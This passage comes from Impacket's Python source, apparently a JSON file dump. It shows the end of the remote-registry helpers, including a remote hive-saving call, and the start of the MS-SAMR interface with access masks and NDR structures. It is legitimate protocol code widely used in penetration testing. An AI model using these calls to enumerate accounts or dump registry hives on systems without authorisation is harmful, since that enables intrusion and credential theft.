packValue(dwType,lpData)\n    request['cbData'] = len(request['lpData'])\n    return dce.request(request)\n\ndef hBaseRegGetVersion(dce, hKey):\n    request = BaseRegGetVersion()\n    request['hKey'] = hKey\n    return dce.request(request)\n\ndef hOpenCurrentConfig(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenCurrentConfig()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hBaseRegQueryMultipleValues(dce, hKey, val_listIn):\n    # ToDo, check the result to see whether we need to\n    # have a bigger buffer for the data to receive\n    request = BaseRegQueryMultipleValues()\n    request['hKey'] = hKey\n\n    for item in  val_listIn:\n        itemn = RVALENT()\n        itemn['ve_valuename'] = checkNullString(item['ValueName'])\n        itemn['ve_valuelen'] = len(itemn['ve_valuename'])\n        itemn['ve_valueptr'] = NULL\n        itemn['ve_type'] = item['ValueType']\n        request['val_listIn'].append(itemn)\n\n    request['num_vals'] = len(request['val_listIn'])\n    request['lpvalueBuf'] = list(b' '*128)\n    request['ldwTotsize'] = 128\n\n    resp = dce.request(request)\n    retVal = list()\n    for item in resp['val_listOut']:\n        itemn = dict()\n        itemn['ValueName'] = item['ve_valuename']\n        itemn['ValueData'] = unpackValue(item['ve_type'], resp['lpvalueBuf'][item['ve_valueptr'] : item['ve_valueptr']+item['ve_valuelen']])\n        retVal.append(itemn)\n\n    return retVal\n\ndef hBaseRegSaveKeyEx(dce, hKey, lpFile, pSecurityAttributes = NULL, flags=1):\n    request = BaseRegSaveKeyEx()\n    request['hKey'] = hKey\n    request['lpFile'] = checkNullString(lpFile)\n    request['pSecurityAttributes'] = pSecurityAttributes\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hOpenPerformanceText(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenPerformanceText()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hOpenPerformanceNlsText(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenPerformanceNlsText()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hBaseRegDeleteValue(dce, hKey, lpValueName):\n    request = BaseRegDeleteValue()\n    request['hKey'] = hKey\n    request['lpValueName'] = checkNullString(lpValueName)\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/samr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-SAMR] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom binascii import unhexlify\n\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray, \\\n    NDRUniConformantVaryingArray, NDRENUM\nfrom impacket.dcerpc.v5.dtypes import NULL, RPC_UNICODE_STRING, ULONG, USHORT, UCHAR, LARGE_INTEGER, RPC_SID, LONG, STR, \\\n    LPBYTE, SECURITY_INFORMATION, PRPC_SID, PRPC_UNICODE_STRING, LPWSTR\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import nt_errors, LOG\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.structure import Structure\n\nimport struct\nimport os\nfrom hashlib import md5\nfrom Cryptodome.Cipher import ARC4\n\nMSRPC_UUID_SAMR   = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]\n            return 'SAMR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'SAMR SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\nPSAMPR_SERVER_NAME = LPWSTR\n# 2.2.1.1 Common ACCESS_MASK Values\nDELETE                  = 0x00010000\nREAD_CONTROL            = 0x00020000\nWRITE_DAC               = 0x00040000\nWRITE_OWNER             = 0x00080000\nACCESS_SYSTEM_SECURITY  = 0x01000000\nMAXIMUM_ALLOWED         = 0x02000000\n\n# 2.2.1.2 Generic ACCESS_MASK Values\nGENERIC_READ     = 0x80000000\nGENERIC_WRITE    = 0x40000000\nGENERIC_EXECUTE  = 0x20000000\nGENERIC_ALL      = 0x10000000\n\n# 2.2.1.3 Server ACCESS_MASK Values\nSAM_SERVER_CONNECT            = 0x00000001\nSAM_SERVER_SHUTDOWN           = 0x00000002\nSAM_SERVER_INITIALIZE         = 0x00000004\nSAM_SERVER_CREATE_DOMAIN      = 0x00000008\nSAM_SERVER_ENUMERATE_DOMAINS  = 0x00000010\nSAM_SERVER_LOOKUP_DOMAIN      = 0x00000020\nSAM_SERVER_ALL_ACCESS         = 0x000F003F\nSAM_SERVER_READ               = 0x00020010\nSAM_SERVER_WRITE              = 0x0002000E\nSAM_SERVER_EXECUTE            = 0x00020021\n\n# 2.2.1.4 Domain ACCESS_MASK Values\nDOMAIN_READ_PASSWORD_PARAMETERS = 0x00000001\nDOMAIN_WRITE_PASSWORD_PARAMS    = 0x00000002\nDOMAIN_READ_OTHER_PARAMETERS    = 0x00000004\nDOMAIN_WRITE_OTHER_PARAMETERS   = 0x00000008\nDOMAIN_CREATE_USER              = 0x00000010\nDOMAIN_CREATE_GROUP             = 0x00000020\nDOMAIN_CREATE_ALIAS             = 0x00000040\nDOMAIN_GET_ALIAS_MEMBERSHIP     = 0x00000080\nDOMAIN_LIST_ACCOUNTS            = 0x00000100\nDOMAIN_LOOKUP                   = 0x00000200\nDOMAIN_ADMINISTER_SERVER        = 0x00000400\nDOMAIN_ALL_ACCESS               = 0x000F07FF\nDOMAIN_READ                     = 0x00020084\nDOMAIN_WRITE                    = 0x0002047A\nDOMAIN_EXECUTE                  = 0x00020301\n\n# 2.2.1.5 Group ACCESS_MASK Values\nGROUP_READ_INFORMATION  = 0x00000001\nGROUP_WRITE_ACCOUNT     = 0x00000002\nGROUP_ADD_MEMBER        = 0x00000004\nGROUP_REMOVE_MEMBER     = 0x00000008\nGROUP_LIST_MEMBERS      = 0x00000010\nGROUP_ALL_ACCESS        = 0x000F001F\nGROUP_READ              = 0x00020010\nGROUP_WRITE             = 0x0002000E\nGROUP_EXECUTE           = 0x00020001\n\n# 2.2.1.6 Alias ACCESS_MASK Values\nALIAS_ADD_MEMBER        = 0x00000001\nALIAS_REMOVE_MEMBER     = 0x00000002\nALIAS_LIST_MEMBERS      = 0x00000004\nALIAS_READ_INFORMATION  = 0x00000008\nALIAS_WRITE_ACCOUNT     = 0x00000010\nALIAS_ALL_ACCESS        = 0x000F001F\nALIAS_READ              = 0x00020004\nALIAS_WRITE             = 0x00020013\nALIAS_EXECUTE           = 0x00020008\n\n# 2.2.1.7 User ACCESS_MASK Values\nUSER_READ_GENERAL            = 0x00000001\nUSER_READ_PREFERENCES        = 0x00000002\nUSER_WRITE_PREFERENCES       = 0x00000004\nUSER_READ_LOGON              = 0x00000008\nUSER_READ_ACCOUNT            = 0x00000010\nUSER_WRITE_ACCOUNT           = 0x00000020\nUSER_CHANGE_PASSWORD         = 0x00000040\nUSER_FORCE_PASSWORD_CHANGE   = 0x00000080\nUSER_LIST_GROUPS             = 0x00000100\nUSER_READ_GROUP_INFORMATION  = 0x00000200\nUSER_WRITE_GROUP_INFORMATION = 0x00000400\nUSER_ALL_ACCESS              = 0x000F07FF\nUSER_READ                    = 0x0002031A\nUSER_WRITE                   = 0x00020044\nUSER_EXECUTE                 = 0x00020041\n\n# 2.2.1.8 USER_ALL Values\nUSER_ALL_USERNAME            = 0x00000001\nUSER_ALL_FULLNAME            = 0x00000002\nUSER_ALL_USERID              = 0x00000004\nUSER_ALL_PRIMARYGROUPID      = 0x00000008\nUSER_ALL_ADMINCOMMENT        = 0x00000010\nUSER_ALL_USERCOMMENT         = 0x00000020\nUSER_ALL_HOMEDIRECTORY       = 0x00000040\nUSER_ALL_HOMEDIRECTORYDRIVE  = 0x00000080\nUSER_ALL_SCRIPTPATH          = 0x00000100\nUSER_ALL_PROFILEPATH         = 0x00000200\nUSER_ALL_WORKSTATIONS        = 0x00000400\nUSER_ALL_LASTLOGON           = 0x00000800\nUSER_ALL_LASTLOGOFF          = 0x00001000\nUSER_ALL_LOGONHOURS          = 0x00002000\nUSER_ALL_BADPASSWORDCOUNT    = 0x00004000\nUSER_ALL_LOGONCOUNT          = 0x00008000\nUSER_ALL_PASSWORDCANCHANGE   = 0x00010000\nUSER_ALL_PASSWORDMUSTCHANGE  = 0x00020000\nUSER_ALL_PASSWORDLASTSET     = 0x00040000\nUSER_ALL_ACCOUNTEXPIRES      = 0x00080000\nUSER_ALL_USERACCOUNTCONTROL  = 0x00100000\nUSER_ALL_PARAMETERS          = 0x00200000\nUSER_ALL_COUNTRYCODE         = 0x00400000\nUSER_ALL_CODEPAGE            = 0x00800000\nUSER_ALL_NTPASSWORDPRESENT   = 0x01000000\nUSER_ALL_LMPASSWORDPRESENT   = 0x02000000\nUSER_ALL_PRIVATEDATA         = 0x04000000\nUSER_ALL_PASSWORDEXPIRED     = 0x08000000\nUSER_ALL_SECURITYDESCRIPTOR  = 0x10000000\nUSER_ALL_UNDEFINED_MASK      = 0xC0000000\n\n# 2.2.1.9 ACCOUNT_TYPE Values\nSAM_DOMAIN_OBJECT             = 0x00000000\nSAM_GROUP_OBJECT              = 0x10000000\nSAM_NON_SECURITY_GROUP_OBJECT = 0x10000001\nSAM_ALIAS_OBJECT              = 0x20000000\nSAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001\nSAM_USER_OBJECT               = 0x30000000\nSAM_MACHINE_ACCOUNT           = 0x30000001\nSAM_TRUST_ACCOUNT             = 0x30000002\nSAM_APP_BASIC_GROUP           = 0x40000000\nSAM_APP_QUERY_GROUP           = 0x40000001\n\n# 2.2.1.10 SE_GROUP Attributes\nSE_GROUP_MANDATORY            = 0x00000001\nSE_GROUP_ENABLED_BY_DEFAULT   = 0x00000002\nSE_GROUP_ENABLED              = 0x00000004\n\n# 2.2.1.11 GROUP_TYPE Codes\nGROUP_TYPE_ACCOUNT_GROUP      = 0x00000002\nGROUP_TYPE_RESOURCE_GROUP     = 0x00000004\nGROUP_TYPE_UNIVERSAL_GROUP    = 0x00000008\nGROUP_TYPE_SECURITY_ENABLED   = 0x80000000\nGROUP_TYPE_SECURITY_ACCOUNT   = 0x80000002\nGROUP_TYPE_SECURITY_RESOURCE  = 0x80000004\nGROUP_TYPE_SECURITY_UNIVERSAL = 0x80000008\n\n# 2.2.1.12 USER_ACCOUNT Codes\nUSER_ACCOUNT_DISABLED                       = 0x00000001\nUSER_HOME_DIRECTORY_REQUIRED                = 0x00000002\nUSER_PASSWORD_NOT_REQUIRED                  = 0x00000004\nUSER_TEMP_DUPLICATE_ACCOUNT                 = 0x00000008\nUSER_NORMAL_ACCOUNT                         = 0x00000010\nUSER_MNS_LOGON_ACCOUNT                      = 0x00000020\nUSER_INTERDOMAIN_TRUST_ACCOUNT              = 0x00000040\nUSER_WORKSTATION_TRUST_ACCOUNT              = 0x00000080\nUSER_SERVER_TRUST_ACCOUNT                   = 0x00000100\nUSER_DONT_EXPIRE_PASSWORD                   = 0x00000200\nUSER_ACCOUNT_AUTO_LOCKED                    = 0x00000400\nUSER_ENCRYPTED_TEXT_PASSWORD_ALLOWED        = 0x00000800\nUSER_SMARTCARD_REQUIRED                     = 0x00001000\nUSER_TRUSTED_FOR_DELEGATION                 = 0x00002000\nUSER_NOT_DELEGATED                          = 0x00004000\nUSER_USE_DES_KEY_ONLY                       = 0x00008000\nUSER_DONT_REQUIRE_PREAUTH                   = 0x00010000\nUSER_PASSWORD_EXPIRED                       = 0x00020000\nUSER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000\nUSER_NO_AUTH_DATA_REQUIRED                  = 0x00080000\nUSER_PARTIAL_SECRETS_ACCOUNT                = 0x00100000\nUSER_USE_AES_KEYS                           = 0x00200000\n\n# 2.2.1.13 UF_FLAG Codes\nUF_SCRIPT                                 = 0x00000001\nUF_ACCOUNTDISABLE                         = 0x00000002\nUF_HOMEDIR_REQUIRED                       = 0x00000008\nUF_LOCKOUT                                = 0x00000010\nUF_PASSWD_NOTREQD                         = 0x00000020\nUF_PASSWD_CANT_CHANGE                     = 0x00000040\nUF_ENCRYPTED_TEXT_PASSWORD_ALLOWED        = 0x00000080\nUF_TEMP_DUPLICATE_ACCOUNT                 = 0x00000100\nUF_NORMAL_ACCOUNT                         = 0x00000200\nUF_INTERDOMAIN_TRUST_ACCOUNT              = 0x00000800\nUF_WORKSTATION_TRUST_ACCOUNT              = 0x00001000\nUF_SERVER_TRUST_ACCOUNT                   = 0x00002000\nUF_DONT_EXPIRE_PASSWD                     = 0x00010000\nUF_MNS_LOGON_ACCOUNT                      = 0x00020000\nUF_SMARTCARD_REQUIRED                     = 0x00040000\nUF_TRUSTED_FOR_DELEGATION                 = 0x00080000\nUF_NOT_DELEGATED                          = 0x00100000\nUF_USE_DES_KEY_ONLY                       = 0x00200000\nUF_DONT_REQUIRE_PREAUTH                   = 0x00400000\nUF_PASSWORD_EXPIRED                       = 0x00800000\nUF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000\nUF_NO_AUTH_DATA_REQUIRED                  = 0x02000000\nUF_PARTIAL_SECRETS_ACCOUNT                = 0x04000000\nUF_USE_AES_KEYS                           = 0x08000000\n\n# 2.2.1.14 Predefined RIDs\nDOMAIN_USER_RID_ADMIN                 = 0x000001F4\nDOMAIN_USER_RID_GUEST                 = 0x000001F5\nDOMAIN_USER_RID_KRBTGT                = 0x000001F6\nDOMAIN_GROUP_RID_ADMINS               = 0x00000200\nDOMAIN_GROUP_RID_USERS                = 0x00000201\nDOMAIN_GROUP_RID_COMPUTERS            = 0x00000203\nDOMAIN_GROUP_RID_CONTROLLERS          = 0x00000204\nDOMAIN_ALIAS_RID_ADMINS               = 0x00000220\nDOMAIN_GROUP_RID_READONLY_CONTROLLERS = 0x00000209\n\n# 2.2.4.1 Domain Fields\nDOMAIN_PASSWORD_COMPLEX         = 0x00000001\nDOMAIN_PASSWORD_NO_ANON_CHANGE  = 0x00000002\nDOMAIN_PASSWORD_NO_CLEAR_CHANGE = 0x00000004\nDOMAIN_LOCKOUT_ADMINS           = 0x00000008\nDOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010\nDOMAIN_REFUSE_PASSWORD_CHANGE   = 0x00000020\n\n# 2.2.9.2 SAM_VALIDATE_PERSISTED_FIELDS PresentFields\nSAM_VALIDATE_PASSWORD_LAST_SET       = 0x00000001\nSAM_VALIDATE_BAD_PASSWORD_TIME       = 0x00000002\nSAM_VALIDATE_LOCKOUT_TIME            = 0x00000004\nSAM_VALIDATE_BAD_PASSWORD_COUNT      = 0x00000008\nSAM_VALIDATE_PASSWORD_HISTORY_LENGTH = 0x00000010\nSAM_VALIDATE_PASSWORD_HISTORY        = 0x00000020\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass RPC_UNICODE_STRING_ARRAY(NDRUniConformantVaryingArray):\n    item = RPC_UNICODE_STRING\n\nclass RPC_UNICODE_STRING_ARRAY_C(NDRUniConformantArray):\n    item = RPC_UNICODE_STRING\n\nclass PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',RPC_UNICODE_STRING_ARRAY_C),\n    )\n\n# 2.2.2.1 RPC_STRING, PRPC_STRING\nclass RPC_STRING(NDRSTRUCT):\n    commonHdr = (\n        ('MaximumLength','<H=len(Data)-12'),\n        ('Length','<H=len(Data)-12'),\n        ('ReferentID','<L=0xff'),\n    )\n    commonHdr64 = (\n        ('MaximumLength','<H=len(Data)-24'),\n        ('Length','<H=len(Data)-24'),\n        ('ReferentID','<Q=0xff'),\n    )\n\n    referent = (\n        ('Data',STR),\n    )\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here just print the data\n        print(\" %r\" % (self['Data']), end=' ')\n\nclass PRPC_STRING(NDRPOINTER):\n    referent = (\n        ('Data', RPC_STRING),\n    )\n\n# 2.2.2.2 OLD_LARGE_INTEGER\nclass OLD_LARGE_INTEGER(NDRSTRUCT):\n    structure = (\n        ('LowPart',ULONG),\n        ('HighPart',LONG),\n    )\n\n# 2.2.2.3 SID_NAME_USE\nclass SID_NAME_USE(NDRENUM):\n    class enumItems(Enum):\n        SidTypeUser            = 1\n        SidTypeGroup           = 2\n        SidTypeDomain          = 3\n        SidTypeAlias           = 4\n        SidTypeWellKnownGroup  = 5\n        SidTypeDeletedAccount  = 6\n        SidTypeInvalid         = 7\n        SidTypeUnknown         = 8\n        SidTypeComputer        = 9\n        SidTypeLabel           = 10\n\n# 2.2.2.4 RPC_SHORT_BLOB\nclass USHORT_ARRAY(NDRUniConformantVaryingArray):\n    item = '<H'\n    pass\n\nclass PUSHORT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', USHORT_ARRAY),\n    )\n\nclass RPC_SHORT_BLOB(NDRSTRUCT):\n    structure = (\n        ('Length', USHORT),\n        ('MaximumLength', USHORT),\n        ('Buffer',PUSHORT_ARRAY),\n    )\n\n# 2.2.3.2 SAMPR_HANDLE\nclass SAMPR_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=b\"\"'),\n    )\n    def getAlignment(self):\n        if self._isNDR64 is True:\n            return 8\n        else:\n            return 4\n\n# 2.2.3.3 ENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD\nclass ENCRYPTED_LM_OWF_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Data', '16s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nENCRYPTED_NT_OWF_PASSWORD = ENCRYPTED_LM_OWF_PASSWORD\n\nclass PENCRYPTED_LM_OWF_PASSWORD(NDRPOINTER):\n    referent = (\n        ('Data', ENCRYPTED_LM_OWF_PASSWORD),\n    )\n\nPENCRYPTED_NT_OWF_PASSWORD = PENCRYPTED_LM_OWF_PASSWORD\n\n# 2.2.3.4 SAMPR_ULONG_ARRAY\n#class SAMPR_ULONG_ARRAY(NDRUniConformantVaryingArray):\n#    item = '<L'\nclass ULONG_ARRAY(NDRUniConformantArray):\n    item = ULONG\n\nclass PULONG_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', ULONG_ARRAY),\n    )\n\nclass ULONG_ARRAY_CV(NDRUniConformantVaryingArray):\n    item = ULONG\n\nclass SAMPR_ULONG_ARRAY(NDRSTRUCT):\n    structure = (\n        ('Count', ULONG),\n        ('Element', PULONG_ARRAY),\n    )\n\n# 2.2.3.5 SAMPR_SID_INFORMATION\nclass SAMPR_SID_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('SidPointer', RPC_SID),\n    )\n\nclass PSAMPR_SID_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_SID_INFORMATION),\n    )\n\nclass SAMPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):\n    item = PSAMPR_SID_INFORMATION\n\nclass PSAMPR_SID_INFORMATION_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_SID_INFORMATION_ARRAY),\n    )\n\n# 2.2.3.6 SAMPR_PSID_ARRAY\nclass SAMPR_PSID_ARRAY(NDRSTRUCT):\n    structure = (\n        ('Count', ULONG),\n        ('Sids', PSAMPR_SID_INFORMATION_ARRAY),\n    )\n\n# 2.2.3.7 SAMPR_PSID_ARRAY_OUT\nclass SAMPR_PSID_ARRAY_OUT(NDRSTRUCT):\n    structure = (\n        ('Count', ULONG),\n        ('Sids', PSAMPR_SID_INFORMATION_ARRAY),\n    )\n\n# 2.2.3.8 SAMPR_RETURNED_USTRING_ARRAY\nclass SAMPR_RETURNED_USTRING_ARRAY(NDRSTRUCT):\n    structure = (\n        ('Count', ULONG),\n        ('Element', PRPC_UNICODE_STRING_ARRAY),\n    )\n\n# 2.2.3.9 SAMPR_RID_ENUMERATION\nclass SAMPR_RID_ENUMERATION(NDRSTRUCT):\n    structure = (\n        ('RelativeId',ULONG),\n        ('Name',RPC_UNICODE_STRING),\n    )\n\nclass SAMPR_RID_ENUMERATION_ARRAY(NDRUniConformantArray):\n    item = SAMPR_RID_ENUMERATION\n\nclass PSAMPR_RID_ENUMERATION_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_RID_ENUMERATION_ARRAY),\n    )\n\n# 2.2.3.10 SAMPR_ENUMERATION_BUFFER\nclass SAMPR_ENUMERATION_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead',ULONG ),\n        ('Buffer',PSAMPR_RID_ENUMERATION_ARRAY ),\n    )\n\nclass PSAMPR_ENUMERATION_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_ENUMERATION_BUFFER),\n    )\n\n# 2.2.3.11 SAMPR_SR_SECURITY_DESCRIPTOR\nclass CHAR_ARRAY(NDRUniConformantArray):\n    pass\n\nclass PCHAR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', CHAR_ARRAY),\n    )\n\nclass SAMPR_SR_SECURITY_DESCRIPTOR(NDRSTRUCT):\n    structure = (\n        ('Length', ULONG),\n        ('SecurityDescriptor', PCHAR_ARRAY),\n    )\n\nclass PSAMPR_SR_SECURITY_DESCRIPTOR(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_SR_SECURITY_DESCRIPTOR),\n    )\n\n# 2.2.3.12 GROUP_MEMBERSHIP\nclass GROUP_MEMBERSHIP(NDRSTRUCT):\n    structure = (\n        ('RelativeId',ULONG),\n        ('Attributes',ULONG),\n    )\n\nclass GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):\n    item = GROUP_MEMBERSHIP\n\nclass PGROUP_MEMBERSHIP_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',GROUP_MEMBERSHIP_ARRAY),\n    )\n\n# 2.2.3.13 SAMPR_GET_GROUPS_BUFFER\nclass SAMPR_GET_GROUPS_BUFFER(NDRSTRUCT):\n    structure = (\n        ('MembershipCount',ULONG),\n        ('Groups',PGROUP_MEMBERSHIP_ARRAY),\n    )\n\nclass PSAMPR_GET_GROUPS_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_GET_GROUPS_BUFFER),\n    )\n\n# 2.2.3.14 SAMPR_GET_MEMBERS_BUFFER\nclass SAMPR_GET_MEMBERS_BUFFER(NDRSTRUCT):\n    structure = (\n        ('MemberCount', ULONG),\n        ('Members', PULONG_ARRAY),\n        ('Attributes', PULONG_ARRAY),\n    )\n\nclass PSAMPR_GET_MEMBERS_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_GET_MEMBERS_BUFFER),\n    )\n\n# 2.2.3.15 SAMPR_REVISION_INFO_V1\nclass SAMPR_REVISION_INFO_V1(NDRSTRUCT):\n    structure = (\n       ('Revision',ULONG),\n       ('SupportedFeatures',ULONG),\n    )\n\n# 2.2.3.16 SAMPR_REVISION_INFO\nclass SAMPR_REVISION_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n\n    union = {\n        1: ('V1', SAMPR_REVISION_INFO_V1),\n    }\n\n# 2.2.3.17 USER_DOMAIN_PASSWORD_INFORMATION\nclass USER_DOMAIN_PASSWORD_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('MinPasswordLength', USHORT),\n        ('PasswordProperties', ULONG),\n    )\n\n# 2.2.4.2 DOMAIN_SERVER_ENABLE_STATE\nclass DOMAIN_SERVER_ENABLE_STATE(NDRENUM):\n    class enumItems(Enum):\n        DomainServerEnabled  = 1\n        DomainServerDisabled = 2\n\n# 2.2.4.3 DOMAIN_STATE_INFORMATION\nclass DOMAIN_STATE_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('DomainServerState', DOMAIN_SERVER_ENABLE_STATE),\n    )\n\n# 2.2.4.4 DOMAIN_SERVER_ROLE\nclass DOMAIN_SERVER_ROLE(NDRENUM):\n    class enumItems(Enum):\n        DomainServerRoleBackup  = 2\n        DomainServerRolePrimary = 3\n\n# 2.2.4.5 DOMAIN_PASSWORD_INFORMATION\nclass DOMAIN_PASSWORD_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('MinPasswordLength', USHORT),\n        ('PasswordHistoryLength', USHORT),\n        ('PasswordProperties', ULONG),\n        ('MaxPasswordAge', OLD_LARGE_INTEGER),\n        ('MinPasswordAge', OLD_LARGE_INTEGER),\n    )\n\n# 2.2.4.6 DOMAIN_LOGOFF_INFORMATION\nclass DOMAIN_LOGOFF_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('ForceLogoff', OLD_LARGE_INTEGER),\n    )\n\n# 2.2.4.7 DOMAIN_SERVER_ROLE_INFORMATION\nclass DOMAIN_SERVER_ROLE_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('DomainServerRole', DOMAIN_SERVER_ROLE),\n    )\n\n# 2.2.4.8 DOMAIN_MODIFIED_INFORMATION\nclass DOMAIN_MODIFIED_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('DomainModifiedCount', OLD_LARGE_INTEGER),\n        ('CreationTime', OLD_LARGE_INTEGER),\n    )\n\n# 2.2.4.9 DOMAIN_MODIFIED_INFORMATION2\nclass DOMAIN_MODIFIED_INFORMATION2(NDRSTRUCT):\n    structure = (\n        ('DomainModifiedCount', OLD_LARGE_INTEGER),\n        ('CreationTime', OLD_LARGE_INTEGER),\n        ('ModifiedCountAtLastPromotion', OLD_LARGE_INTEGER),\n    )\n\n# 2.2.4.10 SAMPR_DOMAIN_GENERAL_INFORMATION\nclass SAMPR_DOMAIN_GENERAL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('ForceLogoff', OLD_LARGE_INTEGER),\n        ('OemInformation', RPC_UNICODE_STRING),\n        ('DomainName', RPC_UNICODE_STRING),\n        ('ReplicaSourceNodeName', RPC_UNICODE_STRING),\n        ('DomainModifiedCount', OLD_LARGE_INTEGER),\n        ('DomainServerState', ULONG),\n        ('DomainServerRole', ULONG),\n        ('UasCompatibilityRequired', UCHAR),\n        ('UserCount', ULONG),\n        ('GroupCount', ULONG),\n        ('AliasCount', ULONG),\n    )\n\n# 2.2.4.11 SAMPR_DOMAIN_GENERAL_INFORMATION2\nclass SAMPR_DOMAIN_GENERAL_INFORMATION2(NDRSTRUCT):\n    structure = (\n        ('I1', SAMPR_DOMAIN_GENERAL_INFORMATION),\n        ('LockoutDuration', LARGE_INTEGER),\n        ('LockoutObservationWindow', LARGE_INTEGER),\n        ('LockoutThreshold', USHORT),\n    )\n\n# 2.2.4.12 SAMPR_DOMAIN_OEM_INFORMATION\nclass SAMPR_DOMAIN_OEM_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('OemInformation', RPC_UNICODE_STRING),\n    )\n\n# 2.2.4.13 SAMPR_DOMAIN_NAME_INFORMATION\nclass SAMPR_DOMAIN_NAME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('DomainName', RPC_UNICODE_STRING),\n    )\n\n# 2.2.4.14 SAMPR_DOMAIN_REPLICATION_INFORMATION\nclass SAMPR_DOMAIN_REPLICATION_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('ReplicaSourceNodeName', RPC_UNICODE_STRING),\n    )\n\n# 2.2.4.15 SAMPR_DOMAIN_LOCKOUT_INFORMATION\nclass SAMPR_DOMAIN_LOCKOUT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('LockoutDuration', LARGE_INTEGER),\n        ('LockoutObservationWindow', LARGE_INTEGER),\n        ('LockoutThreshold', USHORT),\n    )\n\n# 2.2.4.16 DOMAIN_INFORMATION_CLASS\nclass DOMAIN_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        DomainPasswordInformation    = 1\n        DomainGeneralInformation     = 2\n        DomainLogoffInformation      = 3\n        DomainOemInformation         = 4\n        DomainNameInformation        = 5\n        DomainReplicationInformation = 6\n        DomainServerRoleInformation  = 7\n        DomainModifiedInformation    = 8\n        DomainStateInformation       = 9\n        DomainGeneralInformation2    = 11\n        DomainLockoutInformation     = 12\n        DomainModifiedInformation2   = 13\n\n# 2.2.4.17 SAMPR_DOMAIN_INFO_BUFFER\nclass SAMPR_DOMAIN_INFO_BUFFER(NDRUNION):\n    union = {\n        DOMAIN_INFORMATION_CLASS.DomainPasswordInformation    : ('Password', DOMAIN_PASSWORD_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainGeneralInformation     : ('General', SAMPR_DOMAIN_GENERAL_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainLogoffInformation      : ('Logoff', DOMAIN_LOGOFF_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainOemInformation         : ('Oem', SAMPR_DOMAIN_OEM_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainNameInformation        : 